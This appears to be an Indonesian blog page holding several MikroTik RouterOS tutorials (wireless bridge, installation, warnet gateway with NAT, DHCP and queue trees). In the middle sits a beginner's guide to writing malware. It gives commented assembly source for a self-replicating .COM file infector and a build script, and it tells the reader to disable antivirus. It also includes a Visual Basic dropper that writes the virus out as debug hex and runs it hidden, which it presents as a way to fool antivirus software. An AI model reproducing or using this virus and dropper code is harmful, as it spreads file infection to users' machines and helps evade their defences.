Setting Mikrotik Wireless Bridge

Sering kali, kita ingin menggunakan Mikrotik Wireless untuk solusi point to point dengan mode jaringan bridge (bukan routing). Namun, Mikrotik RouterOS sendiri didesain bekerja dengan sangat baik pada mode routing. Kita perlu melakukan beberapa hal supaya link wireless kita bisa bekerja untuk mode bridge.

Mode bridge memungkinkan network yang satu tergabung dengan network di sisi satunya secara transparan, tanpa perlu melalui routing, sehingga mesin yang ada di network yang satu bisa memiliki IP Address yang berada dalam 1 subnet yang sama dengan sisi lainnya

Namun, jika jaringan wireless kita sudah cukup besar, mode bridge ini akan membuat traffic wireless meningkat, mengingat akan ada banyak traffic broadcast dari network yang satu ke network lainnya. Untuk jaringan yang sudah cukup besar, saya menyarankan penggunaan mode routing.

Berikut ini adalah diagram network yang akan kita set.

Konfigurasi Pada Access Point

  1. Buatlah sebuah interface bridge yang baru, berilah nama bridge1

  2. Masukkan ethernet ke dalam interface bridge

  3. Masukkan IP Address pada interface bridge1

  4. Selanjutnya adalah setting wireless interface. Kliklah pada menu Wireless (1), pilihlah tab interface (2) lalu double click pada nama interface wireless yang akan digunakan (3). Pilihlah mode AP-bridge (4), tentukanlah ssid (5), band 2.4GHz-B/G (6), dan frekuensi yang akan digunakan (7). Jangan lupa mengaktifkan default authenticated (8) dan default forward (9). Lalu aktifkankanlah interface wireless (10) dan klik OK (11)
  5. Berikutnya adalah konfigurasi WDS pada wireless interface yang digunakan. Bukalah kembali konfigurasi wireless seperti langkah di atas, pilihlah tab WDS (1). Tentukanlah WDS Mode dynamic (2) dan pilihlah bridge interface untuk WDS ini (3). Lalu tekan tombol OK.

  6. Langkah selanjutnya adalah menambahkan virtual interface WDS. Tambahkan interface WDS baru seperti pada gambar, lalu pilihlah interface wireless yang kita gunakan untuk WDS ini. Lalu tekan OK.

  7. Jika WDS telah ditambahkan, maka akan tampak interface WDS baru seperti pada gambar di bawah.

Konfigurasi pada Wireless Station

Konfigurasi pada wireless station hampir sama dengan langkah-langkah di atas, kecuali pada langkah memasukkan IP Address dan konfigurasi wirelessnya. Pada konfigurasi station, mode yang digunakan adalah station-wds, frekuensi tidak perlu ditentukan, namun harus menentukan scan-list di mana frekuensi pada access point masuk dalam scan list ini. Misalnya pada access point kita menentukan frekuensi 2412, maka tuliskanlah scan-list 2400-2500.

 

Pengecekan link

Jika link wireless yang kita buat sudah bekerja dengan baik, maka pada menu wireless, akan muncul status R (lihat gambar di bawah).

Selain itu, mac-address dari wireless yang terkoneksi juga bisa dilihat pada jendela registration (lihat gambar di bawah).

 

Konfigurasi keamanan jaringan wireless

Pada Mikrotik, cara paling mudah untuk menjaga keamanan jaringan adalah dengan mendaftarkan mac-address wireless pasangan pada access list. Hal ini harus dilakukan pada sisi access point maupun pada sisi client. Jika penginputan access-list telah dilakukan, maka matikanlah fitur default authenticated pada wireless, maka wireless lain yang mac addressnya tidak terdaftar tidak akan bisa terkoneksi ke jaringan kita.

Jika kita menginginkan fitur keamanan yang lebih baik, kita juga bisa menggunakan enkripsi baik WEP maupun WPA.

Instalasi & Konfigurasi Mikrotik Router

Mikrotik dapat digunakan dalam 2 tipe, yaitu dalam bentuk perangkat keras dan perangkat lunak. Dalam bentuk perangkat keras, Mikrotik biasanya sudah diinstalasi pada suatu board tertentu, sedangkan dalam bentuk perangkat lunak, Mikrotik merupakan satu distro Linux yang memang dikhususkan untuk fungsi router.


Mikrotik RouterOS adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer biasa menjadi router network yang handal,mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless.Fitur-fitur tersebut diantaranya : Firewall & Nat, Routing, Hotspot, Point to Point Tunneling Protocol, DNS server, DHCP server, Hotspot, dan masih banyak lagi fitur lainnya.Komputer yang akan digunakan sebagai router network cukup dengan spesifikasi menengah, di tempat saya bekerja, Mikrotik dipergunakan pada cpu Pentium III 800 Mhz, RAM 512 mb dan hdd 10 Gb sebagai firewall dan hotspot server untuk melayani sekitar 150 user.Berikut ini adalah step-step instalasi Mikrotik routerOS

Sebelumnya persiapkan dulu cd instalasi miktorik, kalau belum punya ya silahkan cari pinjaman atau download dulu file ISO mikrotik di sini. Setelah cd siap maka masukkan ke cdrom dan lakukan boot from cd.
pastikan komputer yang akan dipergunakan memiliki minimal satu ethernet card.

Setelah proses booting selesai maka akan muncul tampilan berikut (klik untuk gambar yang lebih jelas):
mikrotik
Tampilan diatas adalah pilihan paket-paket yang akan di install, tekan ‘a’ untuk menginstall semuanya dan diteruskan dengan menekan ‘I’ untuk melanjutkan proses instalasi.

Proses instalasi dilanjutkan dengan pembuatan partisi dan format harddisk, harap diingat bahwa mikrotik akan mengambil semua space yang ada di harddisk. karena itu tidak disarankan utk menginstall mikrotik pada harddisk operasional yang berisi data-data penting seperti mp3 atau mungkin file avi kesayangan anda. (lho kok data operasional penting mp3 dan avi .. jangan jangan -D )

Setelah melakukan pembuatan partisi dan memformat harddisk maka tahap terakhir adalah menginstall paket-paket yang dipilih pada awal tadi ke dalam harddisk. setelah selesai tekan enter untuk reboot.

Mikrotik yang baru saja di download dan di install adalah versi shareware yang hanya bisa dipergunakan sementara dan akan bisa dipergunakan lebih lanjut bila melakukan registrasi terlebih dahulu, tapi jangan khawatir, versi ini sudah cukup untuk dipakai belajar kok.

Mikrotik telah selesai di install, dan bisa dipergunakan dengan login sebagai user admin dan tanpa password.

Membuat Virus dengan Visual Basic

Artikel ini ditulis mengingat betapa susahnya waktu pertama kali belajar
assembly dan penulis ingin berbagi rasa dan pengalaman bersama rekan-rekan
yang lain. Diharapkan setelah membaca artikel ini, para pemula yang ingin
belajar tentang pemrograman virus dapat mengerti dan membuat program virus
dengan kreasinya sendiri.Yang harus dipersiapkan terlebih dahulu adalah:- Membuat satu folder pada C:\ dengan nama LAB atau nama lain yang
diinginkan. Salin debug.exe (gunakan fasilitas search pada folder
WINDOWS) ke dalam folder tersebut.
- Download dan install program TASM dan TLINK (silakan menggunakan
Google search engine)
- Install aplikasi VB 6.0

— 01 // Source code —————————————————-

Berikut adalah program virus yang ditulis dalam bahasa assembly beserta
komentar agar dapat mempermudah proses pembelajaran.

<++ TESVIRUS.ASM ++>
; PROG : TESVIRUS.ASM [Trivial Based] based on TOAD
; Efek : menginfeksi semua file berakhiran .COM yg ada didalam folder

draggy segment ; nama segmen (awal dari segmen),
; umumnya menggunakan code segment

assume cs:draggy,ds:draggy ; register cs dengan ds ke segment
org 100h ; daftar ke memori 100hex atau 256 bytes
; untuk mengcompile program ke format .com

TesVirus proc near ; identitas virus/prosedur

; ————————————————————————

mulai: ; nama label (bisa ditulis dgn nama apa saja,
; terserah anda yg penting anda mengerti)

mov ah,4eh ; move nilai 4e hex ke ah untuk general register

; ————————————————————————

cari_korban: ; nama label

xor cx,cx ; cx = 0 untuk general register utk set atribut
; file = normal, bisa juga dengan menggunakan
; mov cx,0 tetapi dapat membuat ukuran program
; menjadi lebih besar 3 bytes

lea dx,comsig ; L<oad> E<ffective> A<ddress> dari comsig ke dx
; atau move string ke dx untuk mencari
; spesifik file yg akan diinfeksi,
; bisa juga dengan menggunakan mov dx, offset
; comsig

int 21h ; eksekusi fungsi yang sudah di set
; untuk lebih lengkapnya, lihat tabel interrupt

jc jejakpendekar ; jc = jump if carry (jika program telah
; terinfeksi maka eksekusi rutin jejakpendekar
; (rutin untuk menampilkan pesan) jika carry
; flag = 1 tetapi bila flag = 0 maka
; jump ignore (rutin jejakpendekar tidak
; dieksekusi) dan lanjutkan ke baris berikut

; ————————————————————————

buka_bajunya: ; nama label

mov ax,3d02h ; asumsi program telah menemukan file yg akan
; diinfeksi maka 3d02h diload ke AX
; karena AX tipe registernya 16-bit yang isinya
; masing-masing 8 bit AH & AL maka AH=3dh & AL=02h,
; dengan kata lain 3d hex diload ke AH
; AL diload dengan 02 hex utk membuka file
; dengan mode read/write.

; note: – AL = 02h –> open the file in
; read/write mode
; – AL = 00h –> open it in read only
; – AL = 01h –> write only

mov dx,9eh ; load ASCii string ke dx untuk nama file yg
; akan diinfeksi letaknya ada di PSP di bagian
; D<ata>T<ransfer>A<rea>.
; PSP start di 00 hex,DTA start di 80 hex,
; file name ada di 1e hex di awal DTA
; jadi total offset ini : 1e+80=9e hex,

int 21h ; eksekusi

; ————————————————————————

perkosa_korban: ; nama label

xchg bx,ax ; di rutin sebelumnya pada saat
; file dibuka(open), komputer
; menempatkan perlakuan unik
; (unique file handle) dan disimpan
; ke dalam AX. Kita membutuhkan file handle
; itu di BX untuk fungsi write record
; jadi anda dapat menggunakan Exchange(xchg) AX
; ke BX {xchg bx,ax} atau
; bisa juga dengan menggunakan mov bx,ax tetapi
; ukuran program menjadi lebih besar 1 byte,
; [biasanya untuk pembuatan program virus, kita
; harus dapat mengoptimalkan kode program agar
; program yang dihasilkan ukurannya lebih kecil
; sehingga lebih hemat memori dan efektif.]

mov ah,40h ; load 40 hex ke AH

mov cx,offset target – offset mulai ; perintahkan komputer
; agar menghitung jarak antara
; offset mulai dengan offset target agar
; dapat diketahui berapa banyak bytes
; yg akan ditulis(write).
; jadi CX harus diload dgn jumlah bytes
; yg akan ditulis

lea dx,mulai ; load alamat mulai ke dx

int 21h ; eksekusi

; ————————————————————————

balikin_bajunya: ; nama label

mov ah,3eh ; setelah file telah terinfeksi maka tutup file
; korban (load 3eh ke ah) agar program virus ini
; dapat mulai mencari program lain untuk diinfeksi

int 21h ; eksekusi

mov ah,4fh ; load 4f ke AH

jmp cari_korban ; looping, lompat ke label cari_korban
; sampai ada file yang flagnya=1

; ————————————————————————

jejakpendekar: ; nama label

; rutin ini berguna untuk menampilkan pesan,
; juga sebagai tanda program virus telah selesai.
; jadi jika anda tidak ingin menggunakan rutin ini
; tidak apa-apa karena program virus ini masih
; dapat berjalan

mov ah,09h ; servis ke 9 untuk mencetak string

mov dx,offset pesanku ; teks yg akan didisplay pada layar harus
; diload dahulu ke dx (Data Register)
; jadi ambil alamat Offset pesanku

int 21h ; eksekusi

; ————————————————————————

keluar:

int 20h ; finish! kembali ke DOS.
; terminate operation tanpa menset register.
; cara lain terminate dgn menset register adalah:
; mov ax,4c00h menggunakan int 21h
; (Keterangan: 00=exit without error)

;——————————————————————————–

comsig db “*.com”,0 ; define data = comsig, 0 = akhir string
; comsig = signature file COM

pesanku db ’semua file *.com di direktori ini sudah diinfeksi’,10,13
; $ = akhir string
; 10,13 = pindah kebaris berikutnya
db ’selamat anda berhasil membuat virus :) ’,10,13
db ‘kritik dan saran eMail ke ratnozrv@yahoo.com…’,10,13
db ‘thx to Horny Toad for all the lessons u teach me :) ’,10,13,’$’

target label near ; label didalam prosedur TesVirus yang berguna
; utk menetapkan jarak/besar program virus

TesVirus endp ; akhir procedure

draggy ends ; akhir segmen

end mulai ; akhir mulai (mulai = kode pertama yg dieksekusi
; komputer yang berada didalam segmen draggy)

<– TESVIRUS.ASM –>

— 02 // Note ———————————————————–

01. Compile dengan menggunakan TASM 2.01 dan Tlink

02. Untuk lebih jelasnya, anda bisa mencari referensi lain tentang
bahasa assembly

03. Untuk melihat daftar interrupt lengkap anda bisa ke Ralph Brown’s
website alamatnya di :
http://www.cs.cmu.edu/afs/cs.cmu.edu/user/ralf/pub/WWW/
download: Interrupt 61a,61b,61c,61d,61e,61f (semuanya dalam Zip)

— 03 // Mengcompile —————————————————-

01. Matikan/disable fungsi Auto Protect dari program AntiVirus yang anda
gunakan karena virus yang dibuat ini termasuk ’simple virus’ sehingga
virus ini mudah didetect oleh program AntiVirus.

02. Salin program TASM dan TLINK ke folder C:\LAB

03. Salin source code TESVIRUS ke dalam text editor.

04. Simpan dengan nama yang disukai dengan ekstensi ASM. Contoh:
TESVIRUS.ASM

05. Buat batchfile bikinvirus pada folder C:\LAB

<++ bikinvirus ++>
@ECHO OFF
TASM %1.ASM
TLINK /T %1.OBJ
del %1.map
del %1.obj
<– bikinvirus –>

06. Jalankan DOS. Start -> Run -> cmd

07. Pindah ke direktori C:\LAB dan jalankan perintah bikinvirus

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\LAB>bikinvirus TESVIRUS

Turbo Assembler Version 2.01 Copyright (c) 1988, 1990
Borland International

Assembling file: TESVIRUS.ASM
Error messages: None
Warning messages: None
Passes: 1
Remaining memory: 442k

Turbo Link Version 3.01 Copyright (c) 1987, 1990 Borland
International

08. Program TESVIRUS telah dibuat. Jika ada kesalahan periksa
kembali kesalahan penulisan pada kode program, batchfile,
atau perintah di DOS.

— 04 // Testing ——————————————————–

Setelah anda berhasil membuat program virus bernama TESVIRUS.COM,
tentunya anda ingin menguji apakah virus yang telah dibuat
berhasil atau tidak. Anda tak perlu khawatir dengan virus yang
telah dibuat tadi karena virus ini tidak akan merusak sistem
di komputer anda selama anda tidak menempatkan virus ini difolder
Windows atau system atau system32.

Untuk menguji virus TESVIRUS.COM terlebih dahulu anda harus
membuat satu ’simple’ program .com yang tidak berguna [contoh
KORBAN.COM] kemudian catat ukuran asli dari file KORBAN.COM,
setelah itu letakkan program KORBAN.COM tersebut ke folder C:\LAB.

Masuk ke DOS prompt dan jalankan program TESVIRUS.

Kemudian, bandingkan size program KORBAN.COM sebelum dan sesudah
program TESVIRUS dijalankan. Jika terjadi perubahan maka TESVIRUS
telah berhasil menjalankan tugasnya.

Jika anda bingung bagaimana membuat sebuah program KORBAN.COM disini
penulis menyertakan source code untuk program tersebut dan akan
dicompile dengan menggunakan program debug.exe.

Program ini hanyalah sebuah program untuk menampilkan huruf “AA” jika
dijalankan dengan ukuran file aslinya = 14 KB.

Setelah anda mengcopy program debug.exe ke folder C:\LAB, jalankan
text editor dan copy-kan source code dibawah ini:

<++ KORBAN.TXT ++>
N KORBAN.COM
E 0100 B4 02 B2 41 CD 21 B4 02 B2 41 CD 21 CD 20
RCX
000E
W
Q

<– KORBAN.TXT ++>

Masuk ke dalam DOS prompt dan compile

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\LAB>debug < KORBAN.TXT
-N KORBAN.COM
-E 0100 B4 02 B2 41 CD 21 B4 02 B2 41 CD 21 CD 20
-RCX
CX 0000
:000E
-W
Writing 0000E bytes
-Q

C:\LAB>

— 05 // Mengatasi TESVIRUS.COM —————————————–

- Delete program TESVIRUS.COM termasuk file KORBAN.COM (yang sudah
terinfeksi).

- Jika belum bisa hilang, enable kembali auto protect program
AntiVirus anda kemudian scan dan quarantine, setelah itu anda
dapat men-delete TESVIRUS.COM dari dialog quarantine / delete
- Jika masih belum bisa anda dapat me-reverse/membalikkan logika dari
program TESVIRUS.COM untuk membersihkan file-file yang telah
terinfeksi.

— 06 // Tip dan Trik Membuat Virus Generator —————————

Ini adalah hasil iseng penulis waktu lagi menulis program dan
ternyata dengan menggunakan cara ini kita dapat mengecoh program
AntiVirus. Triknya adalah dengan membuat suatu program yang
men-drop/membuat file .dbg, .bat kesebuah drive dikomputer
kemudian program menjalankan file .bat yang telah dihasilkan
tadi untuk membuat program .com(virus) di drive tersebut.
Setelah program melaksanakan tugasnya maka file .dbg akan otomatis
dihapus dari komputer.

Disini penulis tidak akan membahas tentang cara bekerja dengan
menggunakan VB, untuk lebih jelasnya anda dapat membaca referensi
VB 6.0 dari buku, artikel atau anda dapat membeli CD MSDN yang
berisi Help dan contoh program pada VB 6.0 [keep up the hard
work my friend :) ]

Pada program yang akan dibahas ini file yang akan dihasilkan/
di-drop ke drive C:\ adalah file tv.dbg, tv.bat dan TESVIRUS.com.
Program ini di-compile menggunakan VB 6.0 jadi sebelumnya anda
harus menginstall VB 6.0 dikomputer anda )

Virus yang akan dihasilkan adalah virus TESVIRUS.COM yaitu virus
yang sama dengan virus yang telah anda buat diatas, perbedaannya
adalah program ini akan terus menghasilkan virus TESVIRUS.COM
di drive C:\ jika program ini dijalankan.

Terlebih dahulu anda memilih tipe ’standard exe’ di VB dan
Add 1 module pada program VB.

Salin code berikut pada text editor VB.

<++ TESVIRUS2 ++>
‘ kode di module
Public Function DropVir()
On Error Resume Next
Dim x, tvBat As String
x = “C:\tv.dbg”
Open x For Output As #1
Print #1, “N C:\TESVIRUS.COM”
Print #1, “E 0100 B4 4E 33 C9 BA 2F 01 CD 21 72 1B B8 02 3D BA 9E”
Print #1, “E 0110 00 CD 21 93 B4 40 B9 EA 00 BA 00 01 CD 21 B4 3E”
Print #1, “E 0120 CD 21 B4 4F EB DC B4 09 BA 35 01 CD 21 CD 20 2A”
Print #1, “E 0130 2E 63 6F 6D 00 73 65 6D 75 61 20 66 69 6C 65 20?
Print #1, “E 0140 2A 2E 63 6F 6D 20 64 69 20 64 69 72 65 6B 74 6F”
Print #1, “E 0150 72 69 20 69 6E 69 20 73 75 64 61 68 20 64 69 69?
Print #1, “E 0160 6E 66 65 6B 73 69 0A 0D 73 65 6C 61 6D 61 74 20?
Print #1, “E 0170 65 6C 6F 20 62 65 72 68 61 73 69 6C 20 62 69 6B”
Print #1, “E 0180 69 6E 20 76 69 72 75 73 20 70 65 72 74 61 6D 61?
Print #1, “E 0190 20 6B 61 6D 75 20 3A 29 0A 0D 6B 72 69 74 69 6B”
Print #1, “E 01A0 20 64 61 6E 20 73 61 72 61 6E 20 65 4D 61 69 6C”
Print #1, “E 01B0 20 6B 65 20 64 52 34 47 47 79 40 79 61 68 6F 6F”
Print #1, “E 01C0 2E 63 6F 6D 2E 2E 2E 0A 0D 54 65 73 56 69 72 75?
Print #1, “E 01D0 73 20 54 72 69 76 69 61 4C 20 2D 20 64 52 34 47?
Print #1, “E 01E0 47 79 20 2D 20 30 34 0A 0D 24?
Print #1, “RCX”
Print #1, “00EA”
Print #1, “W”
Print #1, “Q”
Close #1
tvBat = “C:\tvBat.bat”
Open tvBat For Output As #1
Print #1, “@echo off”
Print #1, “debug < C:\tv.dbg”
Print #1, “del C:\tv.dbg”
Close #1
Shell “C:\tvBat.bat”, vbNormalFocus ‘ atau gunakan vbHide agar
‘ proses dilakukan secara
‘ background
End Function

‘ kode di form
Private Sub Form_Load()
Call DropVir
Unload Me
End Sub
<– TESVIRUS2 –>

Setelah itu compile program anda dan jalankan, jika berhasil maka
sekarang di drive C: akan muncul program TESVIRUS.com. Karena
program ini dibuat dengan cepat jadi ada beberapa kekurangannya
seperti program ini tidak mencek kembali apakah file TESVIRUS.COM
telah ada di drive C:\, untuk itu anda mungkin dapat menambahkan
fungsi ‘FileExists’ untuk mencek file tersebut atau anda dapat
berkreasi sendiri dengan menggunakan cara anda sendiri untuk berkreasi
seperti men-drop virus ke folder C:\Windows\System32

— 07 // Final Word —————————————————–

“ilmu itu bukan untuk dibaca tapi untuk dipraktekkan.”

“jangan takut untuk mencoba, trial n’ error is the best lessons
in the world”

Happy programming n’ bye …

— 09 // Referensi ——————————————————

01. Forum ECHO VIRUS
02. http://www.codebreakers.org/
03. S’to, Pemograman Bahasa Assembly, edisi online v1.0
04. Google, keyword: debug tutorial
05. http://www.cs.cmu.edu/afs/cs.cmu.edu/user/ralf/pub/WWW/

Mikrotik sebagai Gateway Warnet dengan Speedy

MikroTik RouterOS? adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer manjadi router network yang handal, mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless, cocok digunakan oleh ISP dan provider hostspot.

Kemarin, ada temen yg minta tolong di-setting-kan PC routernya. Dia pake Mikrotik RouterOS. Aq juga ga tau knapa kok dia milih Mikrotik.. Aneh² ae.. Klo untuk Linux seh aq udah biasa pake + nyetting, tapi klo yg namanya Mikrotik blom pernah sama sekali. Tapi menurutku paling ya gitu² aja kaya Linux OS yg laen.. Ya udah aq sanggupin aja..

Oia, aq ga akan mbahas gmn cara instalasinya Mikrotik RouterOS. Jadi untuk instalasinya silahkan merujuk ke situsnya Mikrotik.

Sampai di lokasi, aq coba ngeliat seperti apa seh Mikrotik itu Seperti biasa, klo pertama kali aq berhadapan dengan console, perintah pertama yg aq ketikkan adalah ls untuk ngeliat isinya direktori. Tapi apa hasilnya? Ternyata perintah ls ga dikenali di Mikrotik.. Aq coba perintah² Linux laennya, hasilnya jg sama, ga dikenali. Hmm.. Trus aq coba tekan tombol TAB, voila.. Terus kluar sederetan perintah² gitu.. Ternyata fungsinya sama kaya bash completion di Linux..

Aq liat isinya.. Ohh.. Ternyata gini toh Mikrotik itu.. Aq coba ketik ip, maka kita langsung masuk ke sub menu ip. Aq tekan TAB lagi, trus aq ketik address, tekan tombol ENTER, maka langsung masuk ke sub menu ip address. Terus aq coba ketik “..” (without quotes) ternyata langsung kembali ke sub menu ip lagi. Ohh.. I see.. Jadi gini ya.. Klo misal dari sub menu apapun dan kita pengin kembali ke root menu, langsung ketik aja “/”.

Oke.. Aq rasa perkenalannya udah cukup. Sekarang saatnya kita “menggarap” si Mikrotik ini biar bisa berfungsi sebagaimana yg diharapkan..

Sebelumnya saya gambarkan dulu skema jaringannya:

LAN —> Mikrotik RouterOS —> Modem ADSL —> INTERNETUntuk LAN, kita pake kelas C, dengan network 192.168.0.0/24. Untuk Mikrotik RouterOS, kita perlu dua ethernet card. Satu (ether1 – 192.168.1.2/24) untuk sambungan ke Modem ADSL dan satu lagi (ether2 – 192.168.0.1/24) untuk sambungan ke LAN. Untuk Modem ADSL, IP kita set 192.168.1.1/24.

Sebelum mengetikkan apapun, pastikan Anda telah berada pada root menu dengan mengetikkan “/”

Set IP untuk masing²ethernet cardip address add address=192.168.1.2/24 interface=ether1
ip address add address=192.168.0.1/24 interface=ether2

Untuk menampilkan hasil perintah di atas ketikkan perintah berikut:

ip address print

Kemudian lakukan testing dengan mencoba nge-ping ke gateway atau ke komputer yg ada pada LAN. Jika hasilnya sukses, maka konfigurasi IP Anda sudah benar

ping 192.168.1.1
ping 192.168.0.10

Menambahkan Routing
ip route add gateway=192.168.1.1
Setting DNS
ip dns set primary-dns=202.134.1.10 allow-remote-requests=yes
ip dns set secondary-dns=202.134.0.155 allow-remote-requests=yes
Karena koneksi ini menggunakan Speedy dari Telkom, maka DNS yg aq pake ya punya Telkom. Silahkan sesuaikan dengan DNS provider Anda.

Setelah itu coba Anda lakukan ping ke yahoo.com misalnya:

ping yahoo.com

Jika hasilnya sukses, maka settingan DNS sudah benar

Source NAT (Network Address Translation) / Masquerading
Agar semua komputer yg ada di LAN bisa terhubung ke internet juga, maka Anda perlu menambahkan NAT (Masquerade) pada Mikrotik.

ip firewall nat add chain=srcnat action=masquerade out-interface=ether1

Sekarang coba lakukan ping ke yahoo.com dari komputer yang ada di LAN

ping yahoo.com

Jika hasilnya sukses, maka setting masquerade sudah benar

DHCP (DynamicHost Configuration Protocol)
Karena alasan supaya praktis, temenku pengin pake DHCP Server. Biar klo tiap ada klien yang konek, dia ga perlu setting IP secara manual. Tinggal obtain aja dari DHCP Server, beres dah. Untungnya Mikrotik ini juga ada fitur DHCP Servernya. Jadi ya ga ada masalah..

Membuat IP Address Pool

ip pool add name=dhcp-pool ranges=192.168.0.2-192.168.0.254

Menambahkan DHCP Network
ip dhcp-server network add address=192.168.0.0/24 gateway=192.168.0.1 dns-server=202.134.1.10,202.134.0.155

Menambahkan Server DHCP
ip dhcp-server add name=DHCP_LAN disabled=no interface=ether2 address-pool=dhcp-pool

Sekarang coba lakukan testing dari komputer klien, untuk me-request IP Address dari Server DHCP. Jika sukses, maka sekali lagi, settingannya udah bener

Bandwidth Control
Agar semua komputer klien pada LAN tidak saling berebut bandwidth, maka perlu dilakukan yg namanya bandwidth management atau bandwidth control
Model yg saya gunakan adalah queue trees. Untuk lebih jelas apa itu, silahkan merujuk ke situsnya Mikrotik

Kondisinya seperti ini:

Koneksi Speedy kan katanya speednya sampe 384/64 Kbps (Download/Upload), nah kondisi itu sangat jarang tercapai. Jadi kita harus cari estimasi rata²nya. Maka saya ambil minimalnya untuk download bisa dapet sekitar 300 Kbps dan untuk upload aq alokasikan 50 Kbps. Sedangkan untuk yg maksimumnya, untuk download kira² 380 Kbps dan upload 60 Kbps.

Lalu, jumlah komputer klien yang ada saat ini adalah 10 buah. Jadi harus disiapkan bandwidth itu untuk dibagikan kepada 10 klien tersebut.

Perhitungan untuk masing² klien seperti ini:

Minimal Download: 300 / 10 * 1024 = 30720 bps
Maximal Download: 380 / 10 * 1024 = 38912 bps

Minimal Upload: 50 / 10 * 1024 = 5120 bps
Maximal Upload: 60 / 10 * 1024 = 6144 bps
Selanjutnya kita mulai konfigurasinya:

Tandai semua paket yg asalnya dari LAN

ip firewall mangle add src-address=192.168.0.0/24 action=mark-connection new-connection-mark=Clients-con chain=prerouting

ip firewall mangle add connection-mark=Clients-con action=mark-packet new-packet-mark=Clients chain=prerouting

Menambahkan rule yg akan membatasi kecepatan download dan upload
queue tree add name=Clients-Download parent=ether2 packet-mark=Clients limit-at=30720 max-limit=38912

queue tree add name=Clients-Upload parent=ether1 packet-mark=Clients limit-at=5120 max-limit=6144

Sekarang coba lakukan test download dari beberapa klien, mestinya sekarang tiap2 klien akan berbagi bandwidthnya. Jika jumlah klien yg online tidak sampai 10, maka sisa bandwidth yang nganggur itu akan dibagikan kepada klien yg online.

Graphing
Mikrotik ini juga dilengkapi dengan fungsi monitoring traffic layaknya MRTG biasa. Jadi kita bisa melihat berapa banyak paket yg dilewatkan pada PC Mikrotik kita.
tool graphing set store-every=5min

Berikutnya yang akan kita monitor adalah paket² yg lewat semua interface yg ada di PC Mikrotik kita, klo di komputerku ada ether1 dan ether2.

tool graphing interface add-interface=all store-on-disk=yes

Sekarang coba arahkan browser anda ke IP Router Mikrotik. Klo aq di sini:

http://192.168.0.1/graphs/

Nanti akan ada pilihan interface apa aja yg ada di router Anda. Coba klik salah satu, maka Anda akan bisa melihat grafik dari paket2 yg lewat pada interface tersebut.

Wew.. Akhirnya selesai juga perkenalan kita dengan Mikrotik RouterOS Silahkan Anda simpulkan sendiri. Menurut Anda enak mana, pake Mikrotik atau pake Linux biasa? Klo aq seh mending pilih Linux, soalnya udah biasa.. Tapi Mikrotik juga lumayan kok.. Meski awalnya rada² bingung ama command²nya..

Sistem Operasi MikroTik RouterOS™

MikroTik RouterOS™ adalah sistem operasi dan yang dapat digunakan untuk menjadikan komputer manjadi router network yang handal, mencakup berbagai fitur lengkap untuk network dan wireless.

1. Install Mikrotik OS – Siapkan PC, minimal Pentium I juga gak papa RAM 64,HD 500M atau pake flash memory 64– Di server / PC kudu ada minimal 2 ethernet, 1 ke arah luar dan 1 lagi ke Network local

– Burn Source CD Mikrotik OS masukan ke CDROM

– Boot dari CDROM

– Ikuti petunjuk yang ada, gunakan syndrom next-next dan default

– Install paket2 utama, lebih baiknya semua packet dengan cara menandainya (mark)

– Setelah semua paket ditandai maka untuk menginstallnya tekan “I”

– Lama Install normalnya ga sampe 15menit, kalo lebih berarti gagal, ulangi ke step awal

– Setelah diinstall beres, PC restart akan muncul tampilan login

2. Setting dasar mikrotikLangkah awal dari semua langkah konfigurasi mikrotik adalah setting ipHal ini bertujuan agar mikrotik bisa di remote dan dengan winbox dan memudahkan kita untuk

melakukan berbagai macam konfigurasi

– Login sebaga admin degan default password ga usah diisi langsung enter

Gantilah dengan ip address anda dan interface yg akan digunakan untuk meremote sementara

Di sini akan saya terangkan dengan menggunakan 2 cara yaitu dengan dengan text dan winbox.

I. Langkah setting Mikrotik TEXTMari kita mulai dengan asumsi proses install sudah berhasil1. Install – OK

2. Setting IP eth1 222.124.xxx.xxx (dari ISP)

perintah :

ip address add address 222.124.xxx.xxx netmask 255.255.255.xxx interface ether1

IP tersebut adalah IP public / IP yang yang ada koneksi Internet

3. Setting IP eth2 192.168.1.254

perintah :

ip address add address 192.168.1.254 netmask 255.255.255.0 interface ether2

IP tersebut adalah IP Local anda.

Sekarang lakukan ping ke dan dari komputer lain, setelah konek lanjutkan ke langkah

berikutnya, kalo belum ulangi dari langkah no 2.

4. Setting Gateway

perintah :

ip route add gateway=222.124.xxx.xxx (dari ISP)

5. Setting Primary DNS

perintah :

ip dns set primary-dns=203.130.208.18 (dari ISP)

6. Setting Secondary DNS

perintah :

ip dns set secondary-dns=202.134.0.155 (dari ISP)

7. Setting Routing masquerade ke eth1

perintah :

ip firewall nat add chain=srcnat action=masquerade out-interface=ether1

Untuk terakhir lakukan test ping ke Gateway / ke yahoo.com, bila konek maka Mikrotik anda dah siap

di gunakan.

II. Langkah setting Mikrotik Via WinBox1. Setelah install Mikrotik sudah OK, selanjutnya masukkan IP sembarang untuk remote.Misal

ip address add address 192.168.1.254 netmask 255.255.255.0 interface ether2

Kemudian buka browser dengan alamat IP tadi, dan download Winbox

2. Buka Winbox yang telah di download tadi

3. Di tampilan Winbox, pada kolom Connect To masukkan no IP tadi (192.168.1.254) dengan

Login : admin password : kosong. Kemudian klik tombol Connect

4. Login ke Mikrotik Via Winbox berhasil

5. Klik IP —> ADDRESS

6. Ini adalah tampilan dari address

7. Kemudian masukkan IP public (dari ISP)

8. Ini daftar IP pada 2 ethernet

9. Setting Gateway, IP —> Routes

10. Masukkan IP GATEWAY (dari ISP)

11. Hasil ROUTING

12. Masukkan Primary DNS dan Secondary DNS (dari ISP)

13. Setting MASQUERADE

14. Klik IP —> Firewall

15. Kemudian pilih NAT

16. Pada tab General

pada Chain pilih srcnat

pada Out. Interface pilih ether1

pada tab Action pilih masquerade

Kemudian klik Apply dan OK

Entri Lebih Baru »